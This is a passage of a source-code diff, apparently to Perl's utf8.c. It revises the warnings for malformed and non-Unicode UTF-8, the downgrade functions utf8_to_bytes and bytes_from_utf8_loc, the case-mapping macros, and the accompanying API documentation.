+                        this_flag_bit = UTF8_GOT_SURROGATE;
                     }
                 }
 
@@ -1582,7 +2105,7 @@
                     *errors |= UTF8_GOT_SUPER;
 
                     if (   ! (flags & UTF8_CHECK_ONLY)
-                        && ckWARN_d(WARN_NON_UNICODE))
+                        && (msgs || ckWARN_d(WARN_NON_UNICODE)))
                     {
                         pack_warn = packWARN(WARN_NON_UNICODE);
 
@@ -1594,58 +2117,51 @@
                                     _byte_dump_string(s0, curlen, 0));
                         }
                         else {
-                            message = Perl_form(aTHX_
-                                                "Code point 0x%04" UVXf " is not"
-                                                " Unicode, may not be portable",
-                                                uv);
+                            message = Perl_form(aTHX_ super_cp_format, uv);
                         }
+                        this_flag_bit = UTF8_GOT_SUPER;
                     }
                 }
 
-                /* The maximum code point ever specified by a standard was
-                 * 2**31 - 1.  Anything larger than that is a Perl extension
-                 * that very well may not be understood by other applications
-                 * (including earlier perl versions on EBCDIC platforms).  We
-                 * test for these after the regular SUPER ones, and before
-                 * possibly bailing out, so that the slightly more dire warning
-                 * will override the regular one. */
-                if (   (flags & (UTF8_WARN_ABOVE_31_BIT
-                                |UTF8_WARN_SUPER
-                                |UTF8_DISALLOW_ABOVE_31_BIT))
-                    && (   (   UNLIKELY(orig_problems & UTF8_GOT_TOO_SHORT)
-                            && UNLIKELY(is_utf8_cp_above_31_bits(
-                                                                adjusted_s0,
-                                                                adjusted_send)))
-                        || (   LIKELY(! (orig_problems & UTF8_GOT_TOO_SHORT))
-                            && UNLIKELY(UNICODE_IS_ABOVE_31_BIT(uv)))))
-                {
+                /* Test for Perl's extended UTF-8 after the regular SUPER ones,
+                 * and before possibly bailing out, so that the more dire
+                 * warning will override the regular one. */
+                if (UNLIKELY(isUTF8_PERL_EXTENDED(s0))) {
                     if (  ! (flags & UTF8_CHECK_ONLY)
-                        &&  (flags & (UTF8_WARN_ABOVE_31_BIT|UTF8_WARN_SUPER))
-                        &&  ckWARN_d(WARN_UTF8))
+                        &&  (flags & (UTF8_WARN_PERL_EXTENDED|UTF8_WARN_SUPER))
+                        &&  (msgs || ckWARN_d(WARN_NON_UNICODE)))
                     {
-                        pack_warn = packWARN(WARN_UTF8);
+                        pack_warn = packWARN(WARN_NON_UNICODE);
 
-                        if (orig_problems & UTF8_GOT_TOO_SHORT) {
+                        /* If it is an overlong that evaluates to a code point
+                         * that doesn't have to use the Perl extended UTF-8, it
+                         * still used it, and so we output a message that
+                         * doesn't refer to the code point.  The same is true
+                         * if there was a SHORT malformation where the code
+                         * point is not valid.  In that case, 'uv' will have
+                         * been set to the REPLACEMENT CHAR, and the message
+                         * below without the code point in it will be selected
+                         * */
+                        if (UNICODE_IS_PERL_EXTENDED(uv)) {
                             message = Perl_form(aTHX_
-                                        "Any UTF-8 sequence that starts with"
-                                        " \"%s\" is for a non-Unicode code"
-                                        " point, and is not portable",
-                                        _byte_dump_string(s0, curlen, 0));
+                                            perl_extended_cp_format, uv);
                         }
                         else {
                             message = Perl_form(aTHX_
-                                        "Code point 0x%" UVXf " is not Unicode,"
-                                        " and not portable",
-                                         uv);
+                                        "Any UTF-8 sequence that starts with"
+                                        " \"%s\" is a Perl extension, and"
+                                        " so is not portable",
+                                        _byte_dump_string(s0, curlen, 0));
                         }
+                        this_flag_bit = UTF8_GOT_PERL_EXTENDED;
                     }
 
-                    if (flags & ( UTF8_WARN_ABOVE_31_BIT
-                                 |UTF8_DISALLOW_ABOVE_31_BIT))
+                    if (flags & ( UTF8_WARN_PERL_EXTENDED
+                                 |UTF8_DISALLOW_PERL_EXTENDED))
                     {
-                        *errors |= UTF8_GOT_ABOVE_31_BIT;
+                        *errors |= UTF8_GOT_PERL_EXTENDED;
 
-                        if (flags & UTF8_DISALLOW_ABOVE_31_BIT) {
+                        if (flags & UTF8_DISALLOW_PERL_EXTENDED) {
                             disallowed = TRUE;
                         }
                     }
@@ -1655,21 +2171,6 @@
                     *errors |= UTF8_GOT_SUPER;
                     disallowed = TRUE;
                 }
-
-                /* The deprecated warning overrides any non-deprecated one.  If
-                 * there are other problems, a deprecation message is not
-                 * really helpful, so don't bother to raise it in that case.
-                 * This also keeps the code from having to handle the case
-                 * where 'uv' is not valid. */
-                if (   ! (orig_problems
-                                    & (UTF8_GOT_TOO_SHORT|UTF8_GOT_OVERFLOW))
-                    && UNLIKELY(uv > MAX_NON_DEPRECATED_CP)
-                    && ckWARN_d(WARN_DEPRECATED))
-                {
-                    message = Perl_form(aTHX_ cp_above_legal_max,
-                                              uv, MAX_NON_DEPRECATED_CP);
-                    pack_warn = packWARN(WARN_DEPRECATED);
-                }
             }
             else if (possible_problems & UTF8_GOT_NONCHAR) {
                 possible_problems &= ~UTF8_GOT_NONCHAR;
@@ -1678,7 +2179,7 @@
                     *errors |= UTF8_GOT_NONCHAR;
 
                     if (  ! (flags & UTF8_CHECK_ONLY)
-                        && ckWARN_d(WARN_NONCHAR))
+                        && (msgs || ckWARN_d(WARN_NONCHAR)))
                     {
                         /* The code above should have guaranteed that we don't
                          * get here with errors other than overlong */
@@ -1686,9 +2187,8 @@
                                         & ~(UTF8_GOT_LONG|UTF8_GOT_NONCHAR)));
 
                         pack_warn = packWARN(WARN_NONCHAR);
-                        message = Perl_form(aTHX_ "Unicode non-character"
-                                                " U+%04" UVXf " is not recommended"
-                                                " for open interchange", uv);
+                        message = Perl_form(aTHX_ nonchar_cp_format, uv);
+                        this_flag_bit = UTF8_GOT_NONCHAR;
                     }
                 }
 
@@ -1696,12 +2196,89 @@
                     disallowed = TRUE;
                     *errors |= UTF8_GOT_NONCHAR;
                 }
+            }
+            else if (possible_problems & UTF8_GOT_LONG) {
+                possible_problems &= ~UTF8_GOT_LONG;
+                *errors |= UTF8_GOT_LONG;
+
+                if (flags & UTF8_ALLOW_LONG) {
+
+                    /* We don't allow the actual overlong value, unless the
+                     * special extra bit is also set */
+                    if (! (flags & (   UTF8_ALLOW_LONG_AND_ITS_VALUE
+                                    & ~UTF8_ALLOW_LONG)))
+                    {
+                        uv = UNICODE_REPLACEMENT;
+                    }
+                }
+                else {
+                    disallowed = TRUE;
+
+                    if ((   msgs
+                         || ckWARN_d(WARN_UTF8)) && ! (flags & UTF8_CHECK_ONLY))
+                    {
+                        pack_warn = packWARN(WARN_UTF8);
+
+                        /* These error types cause 'uv' to be something that
+                         * isn't what was intended, so can't use it in the
+                         * message.  The other error types either can't
+                         * generate an overlong, or else the 'uv' is valid */
+                        if (orig_problems &
+                                        (UTF8_GOT_TOO_SHORT|UTF8_GOT_OVERFLOW))
+                        {
+                            message = Perl_form(aTHX_
+                                    "%s: %s (any UTF-8 sequence that starts"
+                                    " with \"%s\" is overlong which can and"
+                                    " should be represented with a"
+                                    " different, shorter sequence)",
+                                    malformed_text,
+                                    _byte_dump_string(s0, send - s0, 0),
+                                    _byte_dump_string(s0, curlen, 0));
+                        }
+                        else {
+                            U8 tmpbuf[UTF8_MAXBYTES+1];
+                            const U8 * const e = uvoffuni_to_utf8_flags(tmpbuf,
+                                                                        uv, 0);
+                            /* Don't use U+ for non-Unicode code points, which
+                             * includes those in the Latin1 range */
+                            const char * preface = (    uv > PERL_UNICODE_MAX
+#ifdef EBCDIC
+                                                     || uv <= 0xFF
+#endif
+                                                    )
+                                                   ? "0x"
+                                                   : "U+";
+                            message = Perl_form(aTHX_
+                                "%s: %s (overlong; instead use %s to represent"
+                                " %s%0*" UVXf ")",
+                                malformed_text,
+                                _byte_dump_string(s0, send - s0, 0),
+                                _byte_dump_string(tmpbuf, e - tmpbuf, 0),
+                                preface,
+                                ((uv < 256) ? 2 : 4), /* Field width of 2 for
+                                                         small code points */
+                                UNI_TO_NATIVE(uv));
+                        }
+                        this_flag_bit = UTF8_GOT_LONG;
+                    }
+                }
             } /* End of looking through the possible flags */
 
             /* Display the message (if any) for the problem being handled in
              * this iteration of the loop */
             if (message) {
-                if (PL_op)
+                if (msgs) {
+                    assert(this_flag_bit);
+
+                    if (*msgs == NULL) {
+                        *msgs = newAV();
+                    }
+
+                    av_push(*msgs, newRV_noinc((SV*) new_msg_hv(message,
+                                                                pack_warn,
+                                                                this_flag_bit)));
+                }
+                else if (PL_op)
                     Perl_warner(aTHX_ pack_warn, "%s in %s", message,
                                                  OP_DESC(PL_op));
                 else
@@ -1743,9 +2320,6 @@
 See L</utf8n_to_uvchr> for details on when the REPLACEMENT CHARACTER is
 returned.
 
-Code points above the platform's C<IV_MAX> will raise a deprecation warning,
-unless those are turned off.
-
 =cut
 
 Also implemented as a macro in utf8.h
@@ -1770,7 +2344,9 @@
 
 Only in very rare circumstances should code need to be dealing in Unicode
 (as opposed to native) code points.  In those few cases, use
-C<L<NATIVE_TO_UNI(utf8_to_uvchr_buf(...))|/utf8_to_uvchr_buf>> instead.
+C<L<NATIVE_TO_UNI(utf8_to_uvchr_buf(...))|/utf8_to_uvchr_buf>> instead.  If you
+are not absolutely sure this is one of those cases, then assume it isn't and
+use plain C<utf8_to_uvchr_buf> instead.
 
 Returns the Unicode (not-native) code point of the first character in the
 string C<s> which
@@ -1785,9 +2361,6 @@
 next possible position in C<s> that could begin a non-malformed character.
 See L</utf8n_to_uvchr> for details on when the REPLACEMENT CHARACTER is returned.
 
-Code points above the platform's C<IV_MAX> will raise a deprecation warning,
-unless those are turned off.
-
 =cut
 */
 
@@ -1798,7 +2371,6 @@
 
     assert(send > s);
 
-    /* Call the low level routine, asking for checks */
     return NATIVE_TO_UNI(utf8_to_uvchr_buf(s, send, retlen));
 }
 
@@ -1805,10 +2377,13 @@
 /*
 =for apidoc utf8_length
 
-Return the length of the UTF-8 char encoded string C<s> in characters.
-Stops at C<e> (inclusive).  If C<e E<lt> s> or if the scan would end
-up past C<e>, croaks.
+Returns the number of characters in the sequence of UTF-8-encoded bytes starting
+at C<s> and ending at the byte just before C<e>.  If <s> and <e> point to the
+same place, it returns 0 with no warning raised.
 
+If C<e E<lt> s> or if the scan would end up past C<e>, it raises a UTF8 warning
+and returns the number of valid characters.
+
 =cut
 */
 
@@ -1879,10 +2454,10 @@
 		    } else {
                         /* diag_listed_as: Malformed UTF-8 character%s */
 			Perl_ck_warner_d(aTHX_ packWARN(WARN_UTF8),
-                                    "%s %s%s",
-                                    unexpected_non_continuation_text(u - 1, 2, 1, 2),
-                                    PL_op ? " in " : "",
-                                    PL_op ? OP_DESC(PL_op) : "");
+                              "%s %s%s",
+                              unexpected_non_continuation_text(u - 2, 2, 1, 2),
+                              PL_op ? " in " : "",
+                              PL_op ? OP_DESC(PL_op) : "");
 			return -2;
 		    }
 		} else {
@@ -1912,11 +2487,15 @@
 /*
 =for apidoc utf8_to_bytes
 
-Converts a string C<s> of length C<len> from UTF-8 into native byte encoding.
+Converts a string C<"s"> of length C<*lenp> from UTF-8 into native byte encoding.
 Unlike L</bytes_to_utf8>, this over-writes the original string, and
-updates C<len> to contain the new length.
-Returns zero on failure, setting C<len> to -1.
+updates C<*lenp> to contain the new length.
+Returns zero on failure (leaving C<"s"> unchanged) setting C<*lenp> to -1.
 
+Upon successful return, the number of variants in the string can be computed by
+having saved the value of C<*lenp> before the call, and subtracting the
+after-call value of C<*lenp> from it.
+
 If you need a copy of the string, see L</bytes_from_utf8>.
 
 =cut
@@ -1923,107 +2502,210 @@
 */
 
 U8 *
-Perl_utf8_to_bytes(pTHX_ U8 *s, STRLEN *len)
+Perl_utf8_to_bytes(pTHX_ U8 *s, STRLEN *lenp)
 {
-    U8 * const save = s;
-    U8 * const send = s + *len;
-    U8 *d;
+    U8 * first_variant;
 
     PERL_ARGS_ASSERT_UTF8_TO_BYTES;
     PERL_UNUSED_CONTEXT;
 
-    /* ensure valid UTF-8 and chars < 256 before updating string */
-    while (s < send) {
-        if (! UTF8_IS_INVARIANT(*s)) {
-            if (! UTF8_IS_NEXT_CHAR_DOWNGRADEABLE(s, send)) {
-                *len = ((STRLEN) -1);
-                return 0;
+    /* This is a no-op if no variants at all in the input */
+    if (is_utf8_invariant_string_loc(s, *lenp, (const U8 **) &first_variant)) {
+        return s;
+    }
+
+    {
+        U8 * const save = s;
+        U8 * const send = s + *lenp;
+        U8 * d;
+
+        /* Nothing before the first variant needs to be changed, so start the real
+         * work there */
+        s = first_variant;
+        while (s < send) {
+            if (! UTF8_IS_INVARIANT(*s)) {
+                if (! UTF8_IS_NEXT_CHAR_DOWNGRADEABLE(s, send)) {
+                    *lenp = ((STRLEN) -1);
+                    return 0;
+                }
+                s++;
             }
             s++;
         }
-        s++;
-    }
 
-    d = s = save;
-    while (s < send) {
-	U8 c = *s++;
-	if (! UTF8_IS_INVARIANT(c)) {
-	    /* Then it is two-byte encoded */
-	    c = EIGHT_BIT_UTF8_TO_NATIVE(c, *s);
-            s++;
-	}
-	*d++ = c;
+        /* Is downgradable, so do it */
+        d = s = first_variant;
+        while (s < send) {
+            U8 c = *s++;
+            if (! UVCHR_IS_INVARIANT(c)) {
+                /* Then it is two-byte encoded */
+                c = EIGHT_BIT_UTF8_TO_NATIVE(c, *s);
+                s++;
+            }
+            *d++ = c;
+        }
+        *d = '\0';
+        *lenp = d - save;
+
+        return save;
     }
-    *d = '\0';
-    *len = d - save;
-    return save;
 }
 
 /*
 =for apidoc bytes_from_utf8
 
-Converts a string C<s> of length C<len> from UTF-8 into native byte encoding.
-Unlike L</utf8_to_bytes> but like L</bytes_to_utf8>, returns a pointer to
-the newly-created string, and updates C<len> to contain the new
-length.  Returns the original string if no conversion occurs, C<len>
-is unchanged.  Do nothing if C<is_utf8> points to 0.  Sets C<is_utf8> to
-0 if C<s> is converted or consisted entirely of characters that are invariant
-in UTF-8 (i.e., US-ASCII on non-EBCDIC machines).
+Converts a potentially UTF-8 encoded string C<s> of length C<*lenp> into native
+byte encoding.  On input, the boolean C<*is_utf8p> gives whether or not C<s> is
+actually encoded in UTF-8.
 
+Unlike L</utf8_to_bytes> but like L</bytes_to_utf8>, this is non-destructive of
+the input string.
+
+Do nothing if C<*is_utf8p> is 0, or if there are code points in the string
+not expressible in native byte encoding.  In these cases, C<*is_utf8p> and
+C<*lenp> are unchanged, and the return value is the original C<s>.
+
+Otherwise, C<*is_utf8p> is set to 0, and the return value is a pointer to a
+newly created string containing a downgraded copy of C<s>, and whose length is
+returned in C<*lenp>, updated.  The new string is C<NUL>-terminated.  The
+caller is responsible for arranging for the memory used by this string to get
+freed.
+
+Upon successful return, the number of variants in the string can be computed by
+having saved the value of C<*lenp> before the call, and subtracting the
+after-call value of C<*lenp> from it.
+
 =cut
+
+There is a macro that avoids this function call, but this is retained for
+anyone who calls it with the Perl_ prefix */
+
+U8 *
+Perl_bytes_from_utf8(pTHX_ const U8 *s, STRLEN *lenp, bool *is_utf8p)
+{
+    PERL_ARGS_ASSERT_BYTES_FROM_UTF8;
+    PERL_UNUSED_CONTEXT;
+
+    return bytes_from_utf8_loc(s, lenp, is_utf8p, NULL);
+}
+
+/*
+No = here because currently externally undocumented
+for apidoc bytes_from_utf8_loc
+
+Like C<L</bytes_from_utf8>()>, but takes an extra parameter, a pointer to where
+to store the location of the first character in C<"s"> that cannot be
+converted to non-UTF8.
+
+If that parameter is C<NULL>, this function behaves identically to
+C<bytes_from_utf8>.
+
+Otherwise if C<*is_utf8p> is 0 on input, the function behaves identically to
+C<bytes_from_utf8>, except it also sets C<*first_non_downgradable> to C<NULL>.
+
+Otherwise, the function returns a newly created C<NUL>-terminated string
+containing the non-UTF8 equivalent of the convertible first portion of
+C<"s">.  C<*lenp> is set to its length, not including the terminating C<NUL>.
+If the entire input string was converted, C<*is_utf8p> is set to a FALSE value,
+and C<*first_non_downgradable> is set to C<NULL>.
+
+Otherwise, C<*first_non_downgradable> set to point to the first byte of the
+first character in the original string that wasn't converted.  C<*is_utf8p> is
+unchanged.  Note that the new string may have length 0.
+
+Another way to look at it is, if C<*first_non_downgradable> is non-C<NULL> and
+C<*is_utf8p> is TRUE, this function starts at the beginning of C<"s"> and
+converts as many characters in it as possible stopping at the first one it
+finds that can't be converted to non-UTF-8.  C<*first_non_downgradable> is
+set to point to that.  The function returns the portion that could be converted
+in a newly created C<NUL>-terminated string, and C<*lenp> is set to its length,
+not including the terminating C<NUL>.  If the very first character in the
+original could not be converted, C<*lenp> will be 0, and the new string will
+contain just a single C<NUL>.  If the entire input string was converted,
+C<*is_utf8p> is set to FALSE and C<*first_non_downgradable> is set to C<NULL>.
+
+Upon successful return, the number of variants in the converted portion of the
+string can be computed by having saved the value of C<*lenp> before the call,
+and subtracting the after-call value of C<*lenp> from it.
+
+=cut
+
+
 */
 
 U8 *
-Perl_bytes_from_utf8(pTHX_ const U8 *s, STRLEN *len, bool *is_utf8)
+Perl_bytes_from_utf8_loc(const U8 *s, STRLEN *lenp, bool *is_utf8p, const U8** first_unconverted)
 {
     U8 *d;
-    const U8 *start = s;
-    const U8 *send;
-    I32 count = 0;
+    const U8 *original = s;
+    U8 *converted_start;
+    const U8 *send = s + *lenp;
 
-    PERL_ARGS_ASSERT_BYTES_FROM_UTF8;
-    PERL_UNUSED_CONTEXT;
-    if (!*is_utf8)
-        return (U8 *)start;
+    PERL_ARGS_ASSERT_BYTES_FROM_UTF8_LOC;
 
-    /* ensure valid UTF-8 and chars < 256 before converting string */
-    for (send = s + *len; s < send;) {
-        if (! UTF8_IS_INVARIANT(*s)) {
-            if (! UTF8_IS_NEXT_CHAR_DOWNGRADEABLE(s, send)) {
-                return (U8 *)start;
-            }
-            count++;
-            s++;
-	}
-        s++;
+    if (! *is_utf8p) {
+        if (first_unconverted) {
+            *first_unconverted = NULL;
+        }
+
+        return (U8 *) original;
     }
 
-    *is_utf8 = FALSE;
+    Newx(d, (*lenp) + 1, U8);
 
-    Newx(d, (*len) - count + 1, U8);
-    s = start; start = d;
+    converted_start = d;
     while (s < send) {
-	U8 c = *s++;
-	if (! UTF8_IS_INVARIANT(c)) {
-	    /* Then it is two-byte encoded */
-	    c = EIGHT_BIT_UTF8_TO_NATIVE(c, *s);
+        U8 c = *s++;
+        if (! UTF8_IS_INVARIANT(c)) {
+
+            /* Then it is multi-byte encoded.  If the code point is above 0xFF,
+             * have to stop now */
+            if (UNLIKELY (! UTF8_IS_NEXT_CHAR_DOWNGRADEABLE(s - 1, send))) {
+                if (first_unconverted) {
+                    *first_unconverted = s - 1;
+                    goto finish_and_return;
+                }
+                else {
+                    Safefree(converted_start);
+                    return (U8 *) original;
+                }
+            }
+
+            c = EIGHT_BIT_UTF8_TO_NATIVE(c, *s);
             s++;
-	}
-	*d++ = c;
+        }
+        *d++ = c;
     }
+
+    /* Here, converted the whole of the input */
+    *is_utf8p = FALSE;
+    if (first_unconverted) {
+        *first_unconverted = NULL;
+    }
+
+  finish_and_return:
     *d = '\0';
-    *len = d - start;
-    return (U8 *)start;
+    *lenp = d - converted_start;
+
+    /* Trim unused space */
+    Renew(converted_start, *lenp + 1, U8);
+
+    return converted_start;
 }
 
 /*
 =for apidoc bytes_to_utf8
 
-Converts a string C<s> of length C<len> bytes from the native encoding into
+Converts a string C<s> of length C<*lenp> bytes from the native encoding into
 UTF-8.
-Returns a pointer to the newly-created string, and sets C<len> to
-reflect the new length in bytes.
+Returns a pointer to the newly-created string, and sets C<*lenp> to
+reflect the new length in bytes.  The caller is responsible for arranging for
+the memory used by this string to get freed.
 
+Upon successful return, the number of variants in the string can be computed by
+having saved the value of C<*lenp> before the call, and subtracting it from the
+after-call value of C<*lenp>.
+
 A C<NUL> character will be written after the end of the string.
 
 If you want to convert to UTF-8 from encodings other than
@@ -2033,13 +2715,10 @@
 =cut
 */
 
-/* This logic is duplicated in sv_catpvn_flags, so any bug fixes will
-   likewise need duplication. */
-
 U8*
-Perl_bytes_to_utf8(pTHX_ const U8 *s, STRLEN *len)
+Perl_bytes_to_utf8(pTHX_ const U8 *s, STRLEN *lenp)
 {
-    const U8 * const send = s + (*len);
+    const U8 * const send = s + (*lenp);
     U8 *d;
     U8 *dst;
 
@@ -2046,7 +2725,7 @@
     PERL_ARGS_ASSERT_BYTES_TO_UTF8;
     PERL_UNUSED_CONTEXT;
 
-    Newx(d, (*len) * 2 + 1, U8);
+    Newx(d, (*lenp) * 2 + 1, U8);
     dst = d;
 
     while (s < send) {
@@ -2053,16 +2732,30 @@
         append_utf8_from_native_byte(*s, &d);
         s++;
     }
+
     *d = '\0';
-    *len = d-dst;
+    *lenp = d-dst;
+
+    /* Trim unused space */
+    Renew(dst, *lenp + 1, U8);
+
     return dst;
 }
 
 /*
- * Convert native (big-endian) or reversed (little-endian) UTF-16 to UTF-8.
+ * Convert native (big-endian) UTF-16 to UTF-8.  For reversed (little-endian),
+ * use utf16_to_utf8_reversed().
  *
- * Destination must be pre-extended to 3/2 source.  Do not use in-place.
- * We optimize for native, for obvious reasons. */
+ * UTF-16 requires 2 bytes for every code point below 0x10000; otherwise 4 bytes.
+ * UTF-8 requires 1-3 bytes for every code point below 0x1000; otherwise 4 bytes.
+ * UTF-EBCDIC requires 1-4 bytes for every code point below 0x1000; otherwise 4-5 bytes.
+ *
+ * These functions don't check for overflow.  The worst case is every code
+ * point in the input is 2 bytes, and requires 4 bytes on output.  (If the code
+ * is never going to run in EBCDIC, it is 2 bytes requiring 3 on output.)  Therefore the
+ * destination must be pre-extended to 2 times the source length.
+ *
+ * Do not use in-place.  We optimize for native, for obvious reasons. */
 
 U8*
 Perl_utf16_to_utf8(pTHX_ U8* p, U8* d, I32 bytelen, I32 *newlen)
@@ -2073,7 +2766,8 @@
     PERL_ARGS_ASSERT_UTF16_TO_UTF8;
 
     if (bytelen & 1)
-	Perl_croak(aTHX_ "panic: utf16_to_utf8: odd bytelen %" UVuf, (UV)bytelen);
+	Perl_croak(aTHX_ "panic: utf16_to_utf8: odd bytelen %" UVuf,
+                                                               (UV)bytelen);
 
     pend = p + bytelen;
 
@@ -2089,10 +2783,12 @@
 	    *d++ = UTF8_TWO_BYTE_LO(UNI_TO_NATIVE(uv));
 	    continue;
 	}
+
 #define FIRST_HIGH_SURROGATE UNICODE_SURROGATE_FIRST
 #define LAST_HIGH_SURROGATE  0xDBFF
 #define FIRST_LOW_SURROGATE  0xDC00
 #define LAST_LOW_SURROGATE   UNICODE_SURROGATE_LAST
+#define FIRST_IN_PLANE1      0x10000
 
         /* This assumes that most uses will be in the first Unicode plane, not
          * needing surrogates */
@@ -2111,13 +2807,13 @@
                 }
 		p += 2;
 		uv = ((uv - FIRST_HIGH_SURROGATE) << 10)
-                                       + (low - FIRST_LOW_SURROGATE) + 0x10000;
+                                + (low - FIRST_LOW_SURROGATE) + FIRST_IN_PLANE1;
 	    }
 	}
 #ifdef EBCDIC
         d = uvoffuni_to_utf8_flags(d, uv, 0);
 #else
-	if (uv < 0x10000) {
+	if (uv < FIRST_IN_PLANE1) {
 	    *d++ = (U8)(( uv >> 12)         | 0xe0);
 	    *d++ = (U8)(((uv >>  6) & 0x3f) | 0x80);
 	    *d++ = (U8)(( uv        & 0x3f) | 0x80);
@@ -2162,9 +2858,7 @@
 bool
 Perl__is_uni_FOO(pTHX_ const U8 classnum, const UV c)
 {
-    U8 tmpbuf[UTF8_MAXBYTES+1];
-    uvchr_to_utf8(tmpbuf, c);
-    return _is_utf8_FOO_with_len(classnum, tmpbuf, tmpbuf + sizeof(tmpbuf));
+    return _invlist_contains_cp(PL_XPosix_ptrs[classnum], c);
 }
 
 /* Internal function so we can deprecate the external one, and call
@@ -2177,27 +2871,26 @@
 
     if (*p == '_')
 	return TRUE;
-    return is_utf8_common(p, &PL_utf8_idstart, "IdStart", NULL);
+    return is_utf8_common(p, NULL,
+                          "This is buggy if this gets used",
+                          PL_utf8_idstart);
 }
 
 bool
 Perl__is_uni_perl_idcont(pTHX_ UV c)
 {
-    U8 tmpbuf[UTF8_MAXBYTES+1];
-    uvchr_to_utf8(tmpbuf, c);
-    return _is_utf8_perl_idcont_with_len(tmpbuf, tmpbuf + sizeof(tmpbuf));
+    return _invlist_contains_cp(PL_utf8_perl_idcont, c);
 }
 
 bool
 Perl__is_uni_perl_idstart(pTHX_ UV c)
 {
-    U8 tmpbuf[UTF8_MAXBYTES+1];
-    uvchr_to_utf8(tmpbuf, c);
-    return _is_utf8_perl_idstart_with_len(tmpbuf, tmpbuf + sizeof(tmpbuf));
+    return _invlist_contains_cp(PL_utf8_perl_idstart, c);
 }
 
 UV
-Perl__to_upper_title_latin1(pTHX_ const U8 c, U8* p, STRLEN *lenp, const char S_or_s)
+Perl__to_upper_title_latin1(pTHX_ const U8 c, U8* p, STRLEN *lenp,
+                                  const char S_or_s)
 {
     /* We have the latin1-range values compiled into the core, so just use
      * those, converting the result to UTF-8.  The only difference between upper
@@ -2239,7 +2932,9 @@
 		return 'S';
 #endif
 	    default:
-		Perl_croak(aTHX_ "panic: to_upper_title_latin1 did not expect '%c' to map to '%c'", c, LATIN_SMALL_LETTER_Y_WITH_DIAERESIS);
+		Perl_croak(aTHX_ "panic: to_upper_title_latin1 did not expect"
+                                 " '%c' to map to '%c'",
+                                 c, LATIN_SMALL_LETTER_Y_WITH_DIAERESIS);
 		NOT_REACHED; /* NOTREACHED */
 	}
     }
@@ -2251,22 +2946,72 @@
     return converted;
 }
 
+/* If compiled on an early Unicode version, there may not be auxiliary tables
+ * */
+#ifndef HAS_UC_AUX_TABLES
+#  define UC_AUX_TABLE_ptrs     NULL
+#  define UC_AUX_TABLE_lengths  NULL
+#endif
+#ifndef HAS_TC_AUX_TABLES
+#  define TC_AUX_TABLE_ptrs     NULL
+#  define TC_AUX_TABLE_lengths  NULL
+#endif
+#ifndef HAS_LC_AUX_TABLES
+#  define LC_AUX_TABLE_ptrs     NULL
+#  define LC_AUX_TABLE_lengths  NULL
+#endif
+#ifndef HAS_CF_AUX_TABLES
+#  define CF_AUX_TABLE_ptrs     NULL
+#  define CF_AUX_TABLE_lengths  NULL
+#endif
+#ifndef HAS_UC_AUX_TABLES
+#  define UC_AUX_TABLE_ptrs     NULL
+#  define UC_AUX_TABLE_lengths  NULL
+#endif
+
 /* Call the function to convert a UTF-8 encoded character to the specified case.
  * Note that there may be more than one character in the result.
- * INP is a pointer to the first byte of the input character
- * OUTP will be set to the first byte of the string of changed characters.  It
+ * 's' is a pointer to the first byte of the input character
+ * 'd' will be set to the first byte of the string of changed characters.  It
  *	needs to have space for UTF8_MAXBYTES_CASE+1 bytes
- * LENP will be set to the length in bytes of the string of changed characters
+ * 'lenp' will be set to the length in bytes of the string of changed characters
  *
- * The functions return the ordinal of the first character in the string of OUTP */
-#define CALL_UPPER_CASE(uv, s, d, lenp) _to_utf8_case(uv, s, d, lenp, &PL_utf8_toupper, "ToUc", "")
-#define CALL_TITLE_CASE(uv, s, d, lenp) _to_utf8_case(uv, s, d, lenp, &PL_utf8_totitle, "ToTc", "")
-#define CALL_LOWER_CASE(uv, s, d, lenp) _to_utf8_case(uv, s, d, lenp, &PL_utf8_tolower, "ToLc", "")
+ * The functions return the ordinal of the first character in the string of
+ * 'd' */
+#define CALL_UPPER_CASE(uv, s, d, lenp)                                     \
+                _to_utf8_case(uv, s, d, lenp, PL_utf8_toupper,              \
+                                              Uppercase_Mapping_invmap,     \
+                                              UC_AUX_TABLE_ptrs,            \
+                                              UC_AUX_TABLE_lengths,         \
+                                              "uppercase")
+#define CALL_TITLE_CASE(uv, s, d, lenp)                                     \
+                _to_utf8_case(uv, s, d, lenp, PL_utf8_totitle,              \
+                                              Titlecase_Mapping_invmap,     \
+                                              TC_AUX_TABLE_ptrs,            \
+                                              TC_AUX_TABLE_lengths,         \
+                                              "titlecase")
+#define CALL_LOWER_CASE(uv, s, d, lenp)                                     \
+                _to_utf8_case(uv, s, d, lenp, PL_utf8_tolower,              \
+                                              Lowercase_Mapping_invmap,     \
+                                              LC_AUX_TABLE_ptrs,            \
+                                              LC_AUX_TABLE_lengths,         \
+                                              "lowercase")
 
+
 /* This additionally has the input parameter 'specials', which if non-zero will
  * cause this to use the specials hash for folding (meaning get full case
  * folding); otherwise, when zero, this implies a simple case fold */
-#define CALL_FOLD_CASE(uv, s, d, lenp, specials) _to_utf8_case(uv, s, d, lenp, &PL_utf8_tofold, "ToCf", (specials) ? "" : NULL)
+#define CALL_FOLD_CASE(uv, s, d, lenp, specials)                            \
+        (specials)                                                          \
+        ?  _to_utf8_case(uv, s, d, lenp, PL_utf8_tofold,                    \
+                                          Case_Folding_invmap,              \
+                                          CF_AUX_TABLE_ptrs,                \
+                                          CF_AUX_TABLE_lengths,             \
+                                          "foldcase")                       \
+        : _to_utf8_case(uv, s, d, lenp, PL_utf8_tosimplefold,               \
+                                         Simple_Case_Folding_invmap,        \
+                                         NULL, NULL,                        \
+                                         "foldcase")
 
 UV
 Perl_to_uni_upper(pTHX_ UV c, U8* p, STRLEN *lenp)
@@ -2343,7 +3088,7 @@
 }
 
 UV
-Perl__to_fold_latin1(pTHX_ const U8 c, U8* p, STRLEN *lenp, const unsigned int flags)
+Perl__to_fold_latin1(const U8 c, U8* p, STRLEN *lenp, const unsigned int flags)
 {
     /* Corresponds to to_lower_latin1(); <flags> bits meanings:
      *	    FOLD_FLAGS_NOMIX_ASCII iff non-ASCII to ASCII folds are prohibited
@@ -2355,7 +3100,6 @@
     UV converted;
 
     PERL_ARGS_ASSERT__TO_FOLD_LATIN1;
-    PERL_UNUSED_CONTEXT;
 
     assert (! (flags & FOLD_FLAGS_LOCALE));
 
@@ -2418,12 +3162,13 @@
     PERL_ARGS_ASSERT__TO_UNI_FOLD_FLAGS;
 
     if (flags & FOLD_FLAGS_LOCALE) {
-        /* Treat a UTF-8 locale as not being in locale at all */
+        /* Treat a UTF-8 locale as not being in locale at all, except for
+         * potentially warning */
+        _CHECK_AND_WARN_PROBLEMATIC_LOCALE;
         if (IN_UTF8_CTYPE_LOCALE) {
             flags &= ~FOLD_FLAGS_LOCALE;
         }
